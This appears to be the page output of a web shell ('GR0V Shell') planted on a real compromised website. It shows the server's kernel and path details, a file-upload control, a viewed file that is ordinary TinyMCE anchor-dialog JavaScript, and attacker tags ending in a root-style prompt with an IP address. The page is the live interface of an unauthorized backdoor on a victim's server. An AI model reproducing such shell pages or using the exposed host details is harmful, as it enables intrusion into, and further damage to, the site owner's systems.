? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/public_html/old/components/com_jce/editor/tiny_mce/themes/advanced/js/
File Upload :
Current File : /home/admin/public_html/old/components/com_jce/editor/tiny_mce/themes/advanced/js/anchor.js

tinyMCEPopup.requireLangPack();var AnchorDialog={init:function(ed){var n,name,id;$('button#insert').button({icons:{primary:'ui-icon-check'}});$('button#cancel').button({icons:{primary:'ui-icon-close'}});n=ed.dom.getParent(ed.selection.getNode(),'A');name=ed.dom.getAttrib(n,'name');id=ed.dom.getAttrib(n,'id');if(name||id){this.action='update';$('#insert').button('option','label',tinyMCEPopup.getLang('update','Update'));$('#anchorName').val(name);$('#anchorID').val(id)}$('#jce').css('display','block')},update:function(){var ed=tinyMCEPopup.editor,n,name=$('#anchorName').val(),id=$('#anchorID').val();function check(s){return/^[a-z][a-z0-9\-\_:\.]*$/i.test(s)}if(!name&&!id){tinyMCEPopup.alert('advanced_dlg.anchor_invalid');return}if((name&&!check(name))||(id&&!check(id))){tinyMCEPopup.alert('advanced_dlg.anchor_invalid');return}tinyMCEPopup.restoreSelection();if(this.action!='update'){ed.selection.collapse(1)}n=ed.dom.getParent(ed.selection.getNode(),'A');if(n){ed.dom.setAttrib(n,'name',name);ed.dom.setAttrib(n,'id',id)}else{ed.execCommand('mceInsertContent',0,ed.dom.createHTML('a',{name:name,id:id,'class':'mceItemAnchor'},''))}tinyMCEPopup.close()}};tinyMCEPopup.onInit.add(AnchorDialog.init,AnchorDialog);

T1KUS90T
  root-grov@210.1.60.28:~$